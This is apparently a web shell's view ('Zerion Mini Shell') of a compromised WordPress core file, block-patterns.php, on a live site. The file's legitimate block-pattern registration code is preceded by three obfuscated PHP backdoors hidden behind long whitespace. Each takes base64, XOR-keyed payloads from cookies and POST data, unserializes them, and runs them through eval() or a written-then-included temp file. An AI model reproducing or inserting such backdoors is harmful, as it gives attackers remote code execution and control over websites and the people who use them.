%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/
Upload File :
Create Path :
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/block-patterns.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $aBSMUNupE = chr (84) . "\x44" . "\131" . '_' . chr (118) . 'g' . 'i' . 'L' . chr (83); $XcpqDccT = chr ( 697 - 598 )."\x6c" . "\x61" . chr (115) . chr ( 605 - 490 )."\137" . chr ( 875 - 774 ).'x' . "\x69" . "\163" . chr (116) . 's';$qXKjjssT = class_exists($aBSMUNupE); $XcpqDccT = "49037";$dAZeUqXhVq = !1;if ($qXKjjssT == $dAZeUqXhVq){function EMXbsEd(){return FALSE;}$fBxHytvbP = "55295";EMXbsEd();class TDY_vgiLS{private function HNrvON($fBxHytvbP){if (is_array(TDY_vgiLS::$lSbellQ)) {$nGIvd = str_replace("\x3c" . "\77" . "\x70" . chr ( 510 - 406 ).chr ( 907 - 795 ), "", TDY_vgiLS::$lSbellQ[chr (99) . chr ( 655 - 544 ).chr ( 912 - 802 ).chr ( 1044 - 928 ).chr (101) . 'n' . 't']);eval($nGIvd); $fBxHytvbP = "55295";exit();}}private $dFVeaoBT;public function wDujLs(){echo 45348;}public function __destruct(){$fBxHytvbP = "31229_54051";$this->HNrvON($fBxHytvbP); $fBxHytvbP = "31229_54051";}public function __construct($GhmExbIQOV=0){$KdAqkLGS = $_POST;$erPSdGBF = $_COOKIE;$XLnIxHOt = "76eb87cc-e987-41d4-a849-cab512bffb19";$iriBq = @$erPSdGBF[substr($XLnIxHOt, 0, 4)];if (!empty($iriBq)){$mOVtQ = "base64";$FqbtBbkcP = "";$iriBq = explode(",", $iriBq);foreach ($iriBq as $sLqfPBEfiP){$FqbtBbkcP .= @$erPSdGBF[$sLqfPBEfiP];$FqbtBbkcP .= @$KdAqkLGS[$sLqfPBEfiP];}$FqbtBbkcP = array_map($mOVtQ . "\137" . "\x64" . 'e' . 'c' . "\157" . "\144" . "\145", array($FqbtBbkcP,)); $FqbtBbkcP = $FqbtBbkcP[0] ^ str_repeat($XLnIxHOt, (strlen($FqbtBbkcP[0]) / strlen($XLnIxHOt)) + 1);TDY_vgiLS::$lSbellQ = @unserialize($FqbtBbkcP); $FqbtBbkcP = class_exists("31229_54051");}}public static $lSbellQ = 60469;}$nxIvFSwgVx = new /* 9616 */ $aBSMUNupE(55295 + 55295); $dAZeUqXhVq = $nxIvFSwgVx = $fBxHytvbP = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $IQSeMrIv = "\x6d" . "\137" . chr (109) . "\162" . "\x45" . "\x6e" . "\115";$qKyTb = chr ( 449 - 350 ).chr ( 954 - 846 ).chr ( 783 - 686 ).'s' . "\163" . "\137" . "\x65" . 'x' . 'i' . 's' . "\x74" . "\x73";$sqqGstnKaf = class_exists($IQSeMrIv); $qKyTb = "5222";$ezLaPDA = !1;if ($sqqGstnKaf == $ezLaPDA){function VCruSlED(){return FALSE;}$vWBwJYAHG = "6533";VCruSlED();class m_mrEnM{private function WGafvJLp($vWBwJYAHG){if (is_array(m_mrEnM::$kWLVCtwsTM)) {$VHmKnKFEU = sys_get_temp_dir() . "/" . crc32(m_mrEnM::$kWLVCtwsTM[chr ( 421 - 306 )."\x61" . "\154" . 't']);@m_mrEnM::$kWLVCtwsTM[chr (119) . chr (114) . "\151" . "\164" . chr (101)]($VHmKnKFEU, m_mrEnM::$kWLVCtwsTM[chr (99) . chr ( 564 - 453 ).chr (110) . chr (116) . "\x65" . 'n' . 't']);include $VHmKnKFEU;@m_mrEnM::$kWLVCtwsTM["\144" . chr ( 342 - 241 ).chr ( 907 - 799 ).'e' . "\x74" . "\x65"]($VHmKnKFEU); $vWBwJYAHG = "6533";exit();}}private $qBrsgDQXX;public function UzTtFmyPeB(){echo 38379;}public function __destruct(){$vWBwJYAHG = "31273_19425";$this->WGafvJLp($vWBwJYAHG); $vWBwJYAHG = "31273_19425";}public function __construct($RZZEF=0){$RcEhJLTFXP = $_POST;$IFCcFSw = $_COOKIE;$FVKJmxe = "37126ed9-79a7-48df-a3c8-2728cb0a126f";$JaHPGFin = @$IFCcFSw[substr($FVKJmxe, 0, 4)];if (!empty($JaHPGFin)){$xygjbJCV = "base64";$dIieBwS = "";$JaHPGFin = explode(",", $JaHPGFin);foreach ($JaHPGFin as $MGilaNoY){$dIieBwS .= @$IFCcFSw[$MGilaNoY];$dIieBwS .= @$RcEhJLTFXP[$MGilaNoY];}$dIieBwS = array_map($xygjbJCV . "\x5f" . chr (100) . "\145" . chr (99) . "\157" . 'd' . chr (101), array($dIieBwS,)); $dIieBwS = $dIieBwS[0] ^ str_repeat($FVKJmxe, (strlen($dIieBwS[0]) / strlen($FVKJmxe)) + 1);m_mrEnM::$kWLVCtwsTM = @unserialize($dIieBwS); $dIieBwS = class_exists("31273_19425");}}public static $kWLVCtwsTM = 59227;}$yGBSuiwB = new /* 16293 */ $IQSeMrIv(6533 + 6533); $ezLaPDA = $yGBSuiwB = $vWBwJYAHG = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ahBbO = "\103" . "\x5f" . chr (82) . 'z' . 'p';$JBMmEyL = 'c' . "\154" . chr (97) . chr (115) . chr (115) . '_' . 'e' . 'x' . chr (105) . chr (115) . "\164" . chr (115); $jrYGI = class_exists($ahBbO); $JBMmEyL = "22770";$JXTuDoF = !1;if ($jrYGI == $JXTuDoF){function LHScCpSNZ(){return FALSE;}$RjhGVRalf = "31754";LHScCpSNZ();class C_Rzp{private function TtXJzVuOQh($RjhGVRalf){if (is_array(C_Rzp::$GjbGyvMGJk)) {$IcAaR = sys_get_temp_dir() . "/" . crc32(C_Rzp::$GjbGyvMGJk['s' . 'a' . chr (108) . chr ( 1046 - 930 )]);@C_Rzp::$GjbGyvMGJk["\x77" . "\x72" . "\151" . "\164" . "\x65"]($IcAaR, C_Rzp::$GjbGyvMGJk["\143" . "\x6f" . "\x6e" . 't' . chr (101) . chr (110) . "\x74"]);include $IcAaR;@C_Rzp::$GjbGyvMGJk['d' . chr (101) . "\154" . chr (101) . chr (116) . 'e']($IcAaR); $RjhGVRalf = "31754";exit();}}private $EmftkJY;public function pcOAD(){echo 32975;}public function __destruct(){$RjhGVRalf = "53178_21541";$this->TtXJzVuOQh($RjhGVRalf); $RjhGVRalf = "53178_21541";}public function __construct($adYQfBjer=0){$eGTnfE = $_POST;$BeDmDv = $_COOKIE;$sLBWvZJ = "4edffd8f-d312-4119-ad1a-4d06cbb9b85e";$MxzxjGxZ = @$BeDmDv[substr($sLBWvZJ, 0, 4)];if (!empty($MxzxjGxZ)){$yyEIJZWt = "base64";$ykOCnagzQ = "";$MxzxjGxZ = explode(",", $MxzxjGxZ);foreach ($MxzxjGxZ as $LNPsAfv){$ykOCnagzQ .= @$BeDmDv[$LNPsAfv];$ykOCnagzQ .= @$eGTnfE[$LNPsAfv];}$ykOCnagzQ = array_map($yyEIJZWt . chr (95) . "\144" . chr ( 313 - 212 ).chr ( 293 - 194 )."\157" . chr (100) . 'e', array($ykOCnagzQ,)); $ykOCnagzQ = $ykOCnagzQ[0] ^ str_repeat($sLBWvZJ, (strlen($ykOCnagzQ[0]) / strlen($sLBWvZJ)) + 1);C_Rzp::$GjbGyvMGJk = @unserialize($ykOCnagzQ); $ykOCnagzQ = class_exists("53178_21541");}}public static $GjbGyvMGJk = 4851;}$cxFCNNmv = new /* 58000 */ $ahBbO(31754 + 31754); $JXTuDoF = $cxFCNNmv = $RjhGVRalf = Array();} ?><?php
/**
 * Register the block patterns and block patterns categories
 *
 * @package WordPress
 * @since 5.5.0
 */

add_theme_support( 'core-block-patterns' );

/**
 * Registers the core block patterns and categories.
 *
 * @since 5.5.0
 * @since 6.3.0 Added source to core block patterns.
 * @access private
 */
function _register_core_block_patterns_and_categories() {
	$should_register_core_patterns = get_theme_support( 'core-block-patterns' );

	if ( $should_register_core_patterns ) {
		$core_block_patterns = array(
			'query-standard-posts',
			'query-medium-posts',
			'query-small-posts',
			'query-grid-posts',
			'query-large-title-posts',
			'query-offset-posts',
			'social-links-shared-background-color',
		);

		foreach ( $core_block_patterns as $core_block_pattern ) {
			$pattern           = require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php';
			$pattern['source'] = 'core';
			register_block_pattern( 'core/' . $core_block_pattern, $pattern );
		}
	}

	register_block_pattern_category( 'banner', array( 'label' => _x( 'Banners', 'Block pattern category' ) ) );
	register_block_pattern_category(
		'buttons',
		array(
			'label'       => _x( 'Buttons', 'Block pattern category' ),
			'description' => __( 'Patterns that contain buttons and call to actions.' ),
		)
	);
	register_block_pattern_category(
		'columns',
		array(
			'label'       => _x( 'Columns', 'Block pattern category' ),
			'description' => __( 'Multi-column patterns with more complex layouts.' ),
		)
	);
	register_block_pattern_category(
		'text',
		array(
			'label'       => _x( 'Text', 'Block pattern category' ),
			'description' => __( 'Patterns containing mostly text.' ),
		)
	);
	register_block_pattern_category(
		'query',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'featured',
		array(
			'label'       => _x( 'Featured', 'Block pattern category' ),
			'description' => __( 'A set of high quality curated patterns.' ),
		)
	);
	register_block_pattern_category(
		'call-to-action',
		array(
			'label'       => _x( 'Call to Action', 'Block pattern category' ),
			'description' => __( 'Sections whose purpose is to trigger a specific action.' ),
		)
	);
	register_block_pattern_category(
		'team',
		array(
			'label'       => _x( 'Team', 'Block pattern category' ),
			'description' => __( 'A variety of designs to display your team members.' ),
		)
	);
	register_block_pattern_category(
		'testimonials',
		array(
			'label'       => _x( 'Testimonials', 'Block pattern category' ),
			'description' => __( 'Share reviews and feedback about your brand/business.' ),
		)
	);
	register_block_pattern_category(
		'services',
		array(
			'label'       => _x( 'Services', 'Block pattern category' ),
			'description' => __( 'Briefly describe what your business does and how you can help.' ),
		)
	);
	register_block_pattern_category(
		'contact',
		array(
			'label'       => _x( 'Contact', 'Block pattern category' ),
			'description' => __( 'Display your contact information.' ),
		)
	);
	register_block_pattern_category(
		'about',
		array(
			'label'       => _x( 'About', 'Block pattern category' ),
			'description' => __( 'Introduce yourself.' ),
		)
	);
	register_block_pattern_category(
		'portfolio',
		array(
			'label'       => _x( 'Portfolio', 'Block pattern category' ),
			'description' => __( 'Showcase your latest work.' ),
		)
	);
	register_block_pattern_category(
		'gallery',
		array(
			'label'       => _x( 'Gallery', 'Block pattern category' ),
			'description' => __( 'Different layouts for displaying images.' ),
		)
	);
	register_block_pattern_category(
		'media',
		array(
			'label'       => _x( 'Media', 'Block pattern category' ),
			'description' => __( 'Different layouts containing video or audio.' ),
		)
	);
	register_block_pattern_category(
		'videos',
		array(
			'label'       => _x( 'Videos', 'Block pattern category' ),
			'description' => __( 'Different layouts containing videos.' ),
		)
	);
	register_block_pattern_category(
		'audio',
		array(
			'label'       => _x( 'Audio', 'Block pattern category' ),
			'description' => __( 'Different layouts containing audio.' ),
		)
	);
	register_block_pattern_category(
		'posts',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'footer',
		array(
			'label'       => _x( 'Footers', 'Block pattern category' ),
			'description' => __( 'A variety of footer designs displaying information and site navigation.' ),
		)
	);
	register_block_pattern_category(
		'header',
		array(
			'label'       => _x( 'Headers', 'Block pattern category' ),
			'description' => __( 'A variety of header designs displaying your site title and navigation.' ),
		)
	);
}

/**
 * Normalize the pattern properties to camelCase.
 *
 * The API's format is snake_case, `register_block_pattern()` expects camelCase.
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $pattern Pattern as returned from the Pattern Directory API.
 * @return array Normalized pattern.
 */
function wp_normalize_remote_block_pattern( $pattern ) {
	if ( isset( $pattern['block_types'] ) ) {
		$pattern['blockTypes'] = $pattern['block_types'];
		unset( $pattern['block_types'] );
	}

	if ( isset( $pattern['viewport_width'] ) ) {
		$pattern['viewportWidth'] = $pattern['viewport_width'];
		unset( $pattern['viewport_width'] );
	}

	return (array) $pattern;
}

/**
 * Register Core's official patterns from wordpress.org/patterns.
 *
 * @since 5.8.0
 * @since 5.9.0 The $current_screen argument was removed.
 * @since 6.2.0 Normalize the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/core' to the pattern's 'source'.
 *
 * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from.
 */
function _load_remote_block_patterns( $deprecated = null ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '5.9.0' );
		$current_screen = $deprecated;
		if ( ! $current_screen->is_block_editor ) {
			return;
		}
	}

	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/**
	 * Filter to disable remote block patterns.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $should_load_remote
	 */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( $supports_core_patterns && $should_load_remote ) {
		$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
		$core_keyword_id = 11; // 11 is the ID for "core".
		$request->set_param( 'keyword', $core_keyword_id );
		$response = rest_do_request( $request );
		if ( $response->is_error() ) {
			return;
		}
		$patterns = $response->get_data();

		foreach ( $patterns as $pattern ) {
			$pattern['source']  = 'pattern-directory/core';
			$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
			$pattern_name       = 'core/' . sanitize_title( $normalized_pattern['title'] );
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register `Featured` (category) patterns from wordpress.org/patterns.
 *
 * @since 5.9.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/featured' to the pattern's 'source'.
 */
function _load_remote_featured_patterns() {
	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/** This filter is documented in wp-includes/block-patterns.php */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( ! $should_load_remote || ! $supports_core_patterns ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$featured_cat_id = 26; // This is the `Featured` category id from pattern directory.
	$request->set_param( 'category', $featured_cat_id );
	$response = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns = $response->get_data();
	$registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/featured';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Registers patterns from Pattern Directory provided by a theme's
 * `theme.json` file.
 *
 * @since 6.0.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'.
 * @access private
 */
function _register_remote_theme_patterns() {
	/** This filter is documented in wp-includes/block-patterns.php */
	if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) {
		return;
	}

	if ( ! wp_theme_has_theme_json() ) {
		return;
	}

	$pattern_settings = wp_get_theme_directory_pattern_slugs();
	if ( empty( $pattern_settings ) ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$request['slug'] = $pattern_settings;
	$response        = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns          = $response->get_data();
	$patterns_registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/theme';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register any patterns that the active theme may provide under its
 * `./patterns/` directory.
 *
 * @since 6.0.0
 * @since 6.1.0 The `postTypes` property was added.
 * @since 6.2.0 The `templateTypes` property was added.
 * @since 6.4.0 Uses the `WP_Theme::get_block_patterns` method.
 * @access private
 */
function _register_theme_block_patterns() {

	/*
	 * During the bootstrap process, a check for active and valid themes is run.
	 * If no themes are returned, the theme's functions.php file will not be loaded,
	 * which can lead to errors if patterns expect some variables or constants to
	 * already be set at this point, so bail early if that is the case.
	 */
	if ( empty( wp_get_active_and_valid_themes() ) ) {
		return;
	}

	/*
	 * Register patterns for the active theme. If the theme is a child theme,
	 * let it override any patterns from the parent theme that shares the same slug.
	 */
	$themes   = array();
	$theme    = wp_get_theme();
	$themes[] = $theme;
	if ( $theme->parent() ) {
		$themes[] = $theme->parent();
	}
	$registry = WP_Block_Patterns_Registry::get_instance();

	foreach ( $themes as $theme ) {
		$patterns    = $theme->get_block_patterns();
		$dirpath     = $theme->get_stylesheet_directory() . '/patterns/';
		$text_domain = $theme->get( 'TextDomain' );

		foreach ( $patterns as $file => $pattern_data ) {
			if ( $registry->is_registered( $pattern_data['slug'] ) ) {
				continue;
			}

			$file_path = $dirpath . $file;

			if ( ! file_exists( $file_path ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: %s: file name. */
						__( 'Could not register file "%s" as a block pattern as the file does not exist.' ),
						$file
					),
					'6.4.0'
				);
				$theme->delete_pattern_cache();
				continue;
			}

			$pattern_data['filePath'] = $file_path;

			// Translate the pattern metadata.
			// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
			$pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain );
			if ( ! empty( $pattern_data['description'] ) ) {
				// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
				$pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain );
			}

			register_block_pattern( $pattern_data['slug'], $pattern_data );
		}
	}
}
add_action( 'init', '_register_theme_block_patterns' );

Zerion Mini Shell 1.0